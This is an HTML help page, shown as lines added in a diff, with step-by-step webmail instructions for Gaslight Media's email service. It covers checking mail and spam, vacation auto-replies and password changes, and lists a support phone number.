+<title>Gaslight Media Email Services</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta http-equiv="imagetoolbar" content="no">
+<meta http-equiv="imagetoolbar" content="false">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body>
+  <div id="wrapper">
+       <div id="top">
+               <a href="http://www.gaslightmedia.com"><img src="assets/logo.gif" width="284" height="89" alt="logo (5K)" title="Gaslight Media" border="0"></a>
+               <h1>WEBADMIN Help</h1>
+       </div>
+       <div id="instructions">
+               
+
+                                       
+               <h2>Webmail for Gaslight Media Mail Service</h2>
+               
+                       <p>Please call Gaslight Media Technical Support if you have any problems with these settings or are unable to send or receive mail using our new E-Mail services.
+                       <blockquote>Gaslight Media Technical Support:   231-487-0692</blockquote>
+                       </p>
+
+      <h3>Select a proceedure</h3>
+      <ul>
+        <li><p><a href="#CheckEmail">Check Email</a></p></li>
+        <li><p><a href="#CheckSpam">Check Spam</a></p></li>
+        <li><p><a href="#NotSpam">Mark message not spam</a></p></li>
+        <li><p><a href="#OutOfOffice">Setup an out of office message</a></p></li>
+        <li><p><a href="#RemoveOutOfOffice">Remove an out of office message</a></p></li>
+        <li><p><a href="#ChangePassword">Change your password</a></p></li>
+      </ul>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="CheckEmail"></a>
+      <h3>Checking your E-mail online</h3>
+      
+      <ol>
+      <li>Open a browser to &quot;webmail.(your domain)&quot;</li>
+      <li>Log on using your email address and password</li>
+      <li>Click on &quot;mail&quot; on the top of the page</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="CheckSpam"></a>
+      <h3>Check your spam online</h3>
+      
+      <ol>
+      <li>Open a browser to &quot;webmail.(your domain)&quot;</li>
+      <li>Log on using your email address and password</li>
+      <li>Click on &quot;mail&quot; on the top of the page</li>
+      <li>Click on &quot;spam&quot; on the left bar of the page</li>
+      </ol>
+
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="NotSpam"></a>
+      <h3>Mark a message that was determined to be spam as not spam</h3>
+      
+      <ol>
+      <li>Open a browser to &quot;webmail.(your domain)&quot;</li>
+      <li>Log on using your email address and password</li>
+      <li>Click on &quot;mail&quot; on the top of the page</li>
+      <li>Click on &quot;spam&quot; on the left bar of the page</li>
+      <li>Select the message you want to mark as not spam</li>
+      <li>At the bottom of the page click the &quot;preform this action&quot; drop down box and select &quot;Mark checked as not spam&quot;</li>
+      </ol>
+      
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="OutOfOffice"></a>
+      <h3>Setup an out of office message</h3>
+      
+      <ol>
+      <li>Open a browser to &quot;webmail.(your domain)&quot;</li>
+      <li>Log on using your email address and password</li>
+      <li>Click on settings on the top of the page</li>
+      <li>Click on &quot;Forwards, Autorespond, Lists&quot; on the left</li>
+      <li>Click on &quot;Setup Vacation Message&quot;</li>
+      <li>Complete the form with following
+       <ul>
+          <li>&quot;From:&quot; select your E-mail address</li>
+          <li>&quot;Reply Subject:&quot; Subject for email to be sent</li>
+          <li>&quot;Reply Body:&quot; Message you want sent</li>
+         </ul>
+      </li>
+      <li>Click &quot;Update Vacation Message&quot;</li>
+      <li>Dont forget to <a href="#RemoveOutOfOffice">Remove an out of office message</a> when you return</li>
+      </ol>
+      
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="RemoveOutOfOffice"></a>
+      <h3>Remove an out of office message</h3>
+      
+      <ol>
+      <li>Open a browser to &quot;webmail.(your domain)&quot;</li>
+      <li>Log on using your email address and password</li>
+      <li>Click on settings on the top of the page</li>
+      <li>Click on &quot;Forwards, Autorespond, Lists&quot; on the left</li>
+      <li>Click on &quot;Setup Vacation Message&quot;</li>
+      <li>Click &quot;Disable Vacation Message&quot;</li>
+      </ol>
+      
+      <p>&nbsp;<p>
+      <hr>
+      <p>&nbsp;<p>
+
+      <a name="ChangePassword"></a>
+      <h3>Change Your Password</h3>
+      
+      <ol>
+      <li>Open a browser to &quot;webmail.(your domain)&quot;</li>
+      <li>Log on using your email account and password</li>
+      <li>Click on settings on the top of the page</li>
+      <li>Click on &quot;Account Maintenance&quot;</li>
+      <li>Click on &quot;Mail Forwarders&quot;</li>
+      <li>Click on &quot;Change Password &amp; Secret Question/Answer&quot;</li>
+      <li>Complete the form with following
+       <ul>
+          <li>&quot;Old Password:&quot; Your existing password</li>
+          <li>&quot;New Password&quot; New password</li>
+          <li>&quot;Re-type New Password:&quot; For verification</li>
+         </ul>
+      </li>
+      <li>Click &quot;Update Password &amp; Secret Question&quot;</li>
+      </ol>
+
+               </div><!-- /#instructions -->   
+       </div><!-- /#wrapper -->
+</body>
+</html>